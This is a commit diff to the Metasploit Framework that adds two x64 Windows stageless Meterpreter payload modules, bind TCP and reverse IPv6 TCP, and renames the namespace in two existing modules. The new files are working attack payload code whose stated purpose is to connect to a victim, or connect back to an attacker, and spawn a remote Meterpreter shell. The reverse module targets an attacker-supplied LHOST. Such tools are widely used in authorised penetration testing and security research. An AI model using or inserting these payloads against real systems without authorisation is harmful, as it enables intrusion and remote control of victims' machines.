Add x64 bind_tcp and reverse_ipv6_tcp

Also fix up a couple of modules to use Metasploit4 instead of
Metasploit3.

Author: OJ

modules/payloads/singles/windows/meterpreter_bind_tcp.rb

@@ -9,7 +9,7 @@
 require 'msf/base/sessions/meterpreter_x86_win'
 require 'msf/base/sessions/meterpreter_options'
 
-module Metasploit3
+module Metasploit4
 
   CachedSize = :dynamic
 

modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb

@@ -9,7 +9,7 @@
 require 'msf/base/sessions/meterpreter_x86_win'
 require 'msf/base/sessions/meterpreter_options'
 
-module Metasploit3
+module Metasploit4
 
   CachedSize = :dynamic
 

modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb

@@ -0,0 +1,45 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+require 'msf/core/handler/bind_tcp'
+require 'msf/core/payload/windows/x64/stageless_meterpreter'
+require 'msf/base/sessions/meterpreter_x64_win'
+require 'msf/base/sessions/meterpreter_options'
+
+module Metasploit4
+
+  CachedSize = :dynamic
+
+  include Msf::Payload::Windows::StagelessMeterpreter_x64
+  include Msf::Sessions::MeterpreterOptions
+
+  def initialize(info = {})
+
+    super(merge_info(info,
+      'Name'        => 'Windows Meterpreter Shell, Bind TCP Inline (x64)',
+      'Description' => 'Connect to victim and spawn a Meterpreter shell',
+      'Author'      => [ 'OJ Reeves' ],
+      'License'     => MSF_LICENSE,
+      'Platform'    => 'win',
+      'Arch'        => ARCH_X64,
+      'Handler'     => Msf::Handler::BindTcp,
+      'Session'     => Msf::Sessions::Meterpreter_x64_Win
+      ))
+
+    register_options([
+      OptString.new('EXTENSIONS', [false, "Comma-separate list of extensions to load"]),
+    ], self.class)
+  end
+
+  def generate
+    # blank LHOST indicates bind payload
+    url = "tcp://:#{datastore['LPORT']}"
+    generate_stageless_x64(url)
+  end
+
+end
+
+

modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb

@@ -0,0 +1,45 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+require 'msf/core/handler/reverse_tcp'
+require 'msf/core/payload/windows/stageless_meterpreter'
+require 'msf/base/sessions/meterpreter_x64_win'
+require 'msf/base/sessions/meterpreter_options'
+
+module Metasploit4
+
+  CachedSize = :dynamic
+
+  include Msf::Payload::Windows::StagelessMeterpreter_x64
+  include Msf::Sessions::MeterpreterOptions
+
+  def initialize(info = {})
+
+    super(merge_info(info,
+      'Name'        => 'Windows Meterpreter Shell, Reverse TCP Inline (IPv6) (x64)',
+      'Description' => 'Connect back to attacker and spawn a Meterpreter shell',
+      'Author'      => [ 'OJ Reeves' ],
+      'License'     => MSF_LICENSE,
+      'Platform'    => 'win',
+      'Arch'        => ARCH_X64,
+      'Handler'     => Msf::Handler::ReverseTcp,
+      'Session'     => Msf::Sessions::Meterpreter_x64_Win
+      ))
+
+    register_options([
+      OptString.new('EXTENSIONS', [false, "Comma-separate list of extensions to load"]),
+      OptInt.new("SCOPEID", [false, "The IPv6 Scope ID, required for link-layer addresses", 0])
+    ], self.class)
+  end
+
+  def generate
+    url = "tcp6://#{datastore['LHOST']}:#{datastore['LPORT']}?#{datastore['SCOPEID']}"
+    generate_stageless_x64(url)
+  end
+
+end
+
+